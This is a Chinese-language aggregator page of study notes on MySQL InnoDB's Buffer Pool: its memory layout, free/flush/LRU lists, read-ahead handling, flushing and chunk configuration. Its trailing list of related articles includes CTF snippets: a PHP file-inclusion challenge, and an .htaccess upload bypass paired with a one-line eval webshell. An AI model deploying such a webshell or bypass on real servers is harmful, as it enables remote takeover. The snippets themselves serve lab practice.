InnoDB的Buffer

news2025/1/10 1:41:17

一、Buffer内存结构

MySQL 服务器启动的时候就向操作系统申请了一片连续的内存,默认128M,可通过从参数修改。
[server] 
innodb_buffer_pool_size = 268435456

1.1 控制块

        控制块包括该页所属的 表空间编号、页号、缓存页在 Buffer Pool 中的地址、链表节点信息、一些锁信息以及 LSN 信息。**控制块和缓存页是一一对应的,它们都被存放到 Buffer Pool 中,其中控制块被存放到 Buffer Pool 的前边,缓存页被存放到 Buffer Pool 后边**

1.2 free链表管理(管理剩余空间)

1.2.1 free链表内存结构

free链表:所有空闲缓存页对应的控制块作为节点形成的链表。

链表的基节点:包含链表的头节点地址,尾节点地址,链表节点的数量;

1.2.2 使用free链表 空间申请过程

        需要从磁盘中加载一个页到 Buffer Pool 中时,从 free链表中取一个空闲的缓存页,并且把该缓存页对应的控制块的信息填上(就是该页所在的表空间、页号之类的信 息),然后把该缓存页对应的 free链表 节点从链表中移除,表示该缓存页已经被使用了~

1.3 flush 链表(管理脏页)

1.4 Hash表(如何知道该页在buffer pool中)

表空间号 + 页号 作为 key , 缓存页 作为 value 创建一个哈希表;
需要访问某个页的数据 时,先从哈希表中根据 表空间号 + 页号有没有对应的缓存页,如果有,直接使用该缓存页就好,如果没有,那就从 free链表 中选一个空闲的缓存页,然后把磁盘中对应的页加载到该缓存页的位置。

1.5 LRU链表(Buffer Pool 空间不够) 

1.5.1 介绍

1、如果该页不在 Buffer Pool 中,在把该页从磁盘加载到 Buffer Pool 中的缓存页时,就把该缓存页对应的 控制块 作为节点塞到链表的头部。

2、如果该页已经缓存在 Buffer Pool 中,则直接把该页对应的 控制块 移动到 LRU链表 的头部。 只要用到某个缓存页,就把该缓存页调整到 LRU链表的头部,这样 LRU链表 尾部就是最近最少 使用的缓存页,所以当 Buffer Pool 中的空闲缓存页使用完时,淘汰链表尾部缓存页。

1.5.2 问题(预读和全表扫描降低缓存命中率,读取无用数据到buffer pool)

1、InnoDB会进行预读:

① 线性预读:顺序访问某个区的页面超过(innodb_read_ahead_threshold =56),异步读取一个区中的全部页面。

② 随机预读:buffer pool 缓存某个区的13个页面(无论顺序),触发异步读取本区全部页面(innodb_random_read_ahead 默认关闭)。

2、全表扫描

3 总结 降低Buffer Pool的情况
1、加载到 Buffer Pool 中的页不一定被用到。(预读)
2、如果非常多的使用频率偏低的页被同时加载到 Buffer Pool 时,可能会把那些使用频率非常高的页从 Buffer Pool 中淘汰掉。(全表扫描)

1.5.3 拆分LRU链表解决上述问题

1、一部分存储使用频率非常高的缓存页叫做 热数据 ,或者称 young区域 。

2、一部分存储使用频率不是很高的缓存页叫做 冷数据 ,或者称 old区域 。

**我们是按照某个比例将LRU链表分成两半的,不是某些节点固定是young区域的,某 些节点固定是old区域的,随着程序的运行,某个节点所属的区域也可能发生变化** 

①预读场景解决:初次加载到Buffer Pool中的某个缓存页时,该缓存页对应 的控制块会被放到old区域的头部。

②针对全表扫描:old 区域的缓存页进行第一次访问时,就在它对应的控制块中 记录下来这个访问时间,如果最后一次访问时间与第一次访问的时间在某个时间间隔内(很明显在一次 全表扫描的过程中,多次访问一个页面中的时间不会超过 1s ),该页面就不会被 从old区域移动到young区域的头部,否则将它移动到young区域的头部。***如果一个old区页面第二次访问与第一次访问在时间间隔内(短时间内第二次访问)则不移动到young区***

1.5.4 LRU细节优化

被访问的缓存页位于 young 区域的 1/4 的后边,才被移动到 LRU链表头部,降低调整LRU频率。

1.6 脏页刷新

后台有专门的线程每隔一段时间负责把脏页刷新到磁盘,两种路径:

1、BUF_FLUSH_LRU:从 LRU链表 的冷数据中刷新一部分页面到磁盘。

2、BUF_FLUSH_LIST: 从 flush链表 中刷新一部分页面到磁盘。

3、BUF_FLUSH_SINGLE_PAGE: 后台线程刷新脏页的进度比较慢,导致Buffer Pool没有内存,从LRU链表尾部释放未修改页面(刷新单个页面的方式)

1.7 多实例Buffer Pool

通过参数innodb_buffer_pool_instances配置,默认为2;
当innodb_buffer_pool_size的值小于1G的时候设置多个实例是无效的,InnoDB会默认把 innodb_buffer_pool_instances 的值修改为1。

1.8 innodb_buffer_pool_chunk_size

1.8.1 chunk结构

一个 Buffer Pool 实例 其实是由若干个 chunk 组成的,一个 chunk 就代表一片连续的内存空间,里边儿包含了若干缓存页与其对应的控制块:

innodb_buffer_pool_chunk_size只能在服务器启动时指定,服务器运行过程中是不可以修改

 1.8.2 buffer pool与chunk注意事项

1、innodb_buffer_pool_size 必须是 innodb_buffer_pool_chunk_size × innodb_buffer_pool_instances 的倍数(这主要是想保证每一个 Buffer Pool 实例中包含的 chunk 数量相同)。
2、innodb_buffer_pool_size 的值必须是2G 的整数倍。假设指定innodb_buffer_pool_chunk_size 的值是 128M , innodb_buffer_pool_instances 的值是16 ,那么这两个值的乘积就是 2G。

二 总结

1. 磁盘太慢,用内存作为缓存很有必要。
2. Buffer Pool 本质是InnoDB向操作系统申请的一段连续内存空间,innodb_buffer_pool_size调整大小。
3. Buffer Pool 向操作系统申请的连续内存由控制块和缓存页组成,每个控制块和缓存页都是一一对应的,在填充足够多的控制块和缓存页的组合后, Buffer Pool 剩余的空间可能产生不够填充一组控制块和缓存页,这部分空间不能被使用,也被称为 碎片 。
4. InnoDB 使用了许多 链表 来管理 Buffer Pool
5. free链表 中每一个节点都代表一个空闲的缓存页,在将磁盘中的页加载到 Buffer Pool 时,会从 free链表 中寻找空闲的缓存页。
6. 哈希表: key 表空间号 + 页号value 缓存页作为 快速定位某个页是否被加载到 Buffer Pool 。
7. flush链表:Buffer Pool 中被修改的页称为 脏页 ,脏页并不是立即刷新,而是被加入到 flush链表 中,待之后的某个时刻同步到磁盘上。
8. LRU链表 分为 young 和 old 两个区域,可以通过 innodb_old_blocks_pct 来调节 old 区域所占的比例。首次从磁盘上加载到 Buffer Pool 的页被放到 old 区域的头部,在innodb_old_blocks_time 间隔时间内访问该页不会把它移动到 young 区域头部。在 Buffer Pool 没有可用的空闲缓存页时,会首先淘汰掉 old 区域的一些页。
9. Buffer Pool多实例:我们可以通过指定 innodb_buffer_pool_instances 来控制 Buffer Pool 实例的个数,每个 Buffer Pool 实例中都有各自独立的链表,互不干扰。
10. 自 MySQL 5.7.5 版本之后,可以在服务器运行过程中调整 Buffer Pool 大小。每个 Buffer Pool 实例由若干个 chunk 组成,每个 chunk 的大小可以在服务器启动时通过启动参数调整。
11. 可以用下边的命令查看 Buffer Pool 的状态信息:SHOW ENGINE INNODB STATUS\G

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/953634.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

14:00面试,14:06就出来了,问的问题有点变态

从小厂出来,没想到在另一家公司又寄了。 到这家公司开始上班,加班是每天必不可少的,看在钱给的比较多的份上,就不太计较了。没想到8月一纸通知,所有人不准加班,加班费不仅没有了,薪资还要降40%,…

vue three.js基本案例解析

1.安装依赖 // 比如安装148版本 npm install three0.148.0 --save2.使用页面引用 import * as THREE from three; // 引入扩展库OrbitControls.js import { OrbitControls } from three/addons/controls/OrbitControls.js; // 引入扩展库GLTFLoader.js import { GLTFLoader }…

盘点那些国际知名黑客(上篇)

电影中的黑客仅靠一部电脑就可以窃取别人的信息,利用自己高超的技术让公司甚至国家都胆战心惊。“黑客”原指热心于计算机技术、水平高超的电脑高手,但逐渐区分为黑帽、白帽、灰帽。这些术语源自美国流行文化的老式西部电影,其中主角戴白色或…

企业怎么优化固定资产管理

在优化固定资产管理的过程中,不仅要关注硬件设备和设施的维护,还要重视软件系统和数据管理。一些可能的方法:  需要建立一套完整的资产管理系统。这个系统应该包括资产的采购、登记、使用、维修、报废等各个环节的管理流程。通过这个系统&a…

带你吃透Reactor并发模型

目录 1.概述2.项目介绍2.1 有那些并发模型2.2 能锻炼那些技能2.3目录结构 3.编码实践3.1 前期准备3.1.1 Echo协议3.1.2公共代码抽象3.1.3基准性能压测工具 3.2 并发示例3.2.1 EpollReactorSingleProcess3.2.2 EpollReactorProcessPool3.2.3 EpollReactorThreadPool3.2.4 EpollR…

MongoDb-01——Mac上安装MongoDb以及相关的简单命令

MongoDb-01——Mac上安装MongoDb以及相关的简单命令 1. 下载、安装1.1 官网下载1.2 关于安装MongoDB1.2.1 官方安装文档1.2.2 Mac安装详细步骤(使用brew) 2. 启动MongoDB2.1 官方说明2.2 作为macOS服务运行的相关命令2.3 访问 3. 链接并使用mongodb3.1 链…

人工智能与软件开发的未来

人工智能正在从各个方面改变软件开发。尽管许多公司竞相推出人工智能功能,但人工智能的潜力已超出了功能层面,成为大多数SaaS解决方案的基础。当机器学习和人工智能模型应用在SaaS技术后,便能提高各种业务流程的效率。人工智能应被视为新的开…

解决报错“No module named ‘pandas.core.indexes‘”

解决办法: 首先使用看一下你的pandas是不是版本太新了,如果使用2.0.0以上的版本,则会出现这个报错。 可以安装1.x.x的版本。 pip install pandas1.5.3

在Bigemap中怎么添加高清地图呢?

会使用到的工具 bigemap gis office,下载链接:BIGEMAP GIS Office-全能版 打开软件,要提示需要授权和添加地图,然后去点击选择地图这个按钮,列表中有个添加按钮点进去选择添加地图的方式。 第一种方式:通…

多轮面试中的策略和技巧:如何稳步晋级

🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…

如何用数字化系统延长用户运营周期?如何建立数字化用户体系?

如果说运营是进行用户引流、留存及转化的各个细分环节搭建,精细化运营便是针对各个细分环节,结合用户画像、人群定位、场景拆解及数据分析等细节,对用户展开有针对性的运营策略。要知道,运营需要以用户为中心,没有用户…

优思学院|企业推行精益生产要具备哪些前提条件?

企业界早已充斥着各种方法和策略,试图模仿精益生产和六西格玛管理等成功之路,目标在于通过质量工具的运用来改善业务。然而,许多公司在推行这些方法的过程中都犯了一个大错:他们忽视了背后的企业文化和制度,以及精益生…

电脑批量记账,提高效率和管理质量

在快节奏的商业环境中,记账是一项繁琐但必要的任务。为了提高效率和准确性,越来越多的人和企业寻求电脑批量记账的解决方案。 第一步:首先我们要进入晨曦记账本主页面,并点击“收支类别”在弹出来的文件框里输入好类别&#xff0…

Linux查日志的六种实用方法

工具(比Xshell好用,国产且免费) 先给大家安利一个软件:FinalShell官网 你打印出了日志,可以直接在这个上面搜索高亮 查日志 # 持续打印最新的日志,300行 tail -300f xxx.log# 查某个值 grep "内容&q…

[SWPUCTF 2022]——Web方向 详细Writeup

SWPUCTF 2022 ez_ez_php 打开环境得到源码 <?php error_reporting(0); if (isset($_GET[file])) {if ( substr($_GET["file"], 0, 3) "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";} }e…

【HSPICE仿真】实战练习(1)基础仿真分析

仿真实战 1. 反相器直流仿真1.1 输入文件2.2 执行仿真3.3 仿真输出控制.lis 文件内容波形文件 3.4 修改输出配置 2. 反相器瞬态分析使用不同宽长比进行仿真 3. 几种不同输入源的比较Pulse SourcePattern SourcePWL Source 1. 反相器直流仿真 1.1 输入文件 仿真所用电路图&…

MATLAB中mod函数转化为C语言

背景 有项目算法使用matlab中mod函数进行运算&#xff0c;这里需要将转化为C语言&#xff0c;从而模拟算法运行&#xff0c;将算法移植到qt。 MATLAB中mod简单介绍 语法 b mod(a,m) 说明 b mod(a,m) 返回 a 除以 m 后的余数&#xff0c;其中 a 是被除数&#xff0c;m 是…

使用ccs中 exclude from build功能,源代码不能去除/恢复到工程里

1、使用ccs免不了将源文件从工程里去除&#xff0c;或者重新添加到工程里&#xff0c;一般使用功能exclude from build&#xff0c;如下示&#xff1a;在.c上有键就可以看到 2、有时候用这个功能时&#xff0c;经常会出现ccs没有反应了&#xff0c;不能正常将源代码去除/恢复到…

.NET Meetup in Shanghai

点击蓝字 关注我们 作为一个开源的开发平台&#xff0c;.NET 在开源领域的探索从未止步。在如今风云变幻的大背景下&#xff0c;.NET 开源都会遇到哪些阻力&#xff1f;是什么让我们继续拥抱开源&#xff1f;我们将如何克服当下开源之路所面临的困难&#xff1f;开源 .NET 又将…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…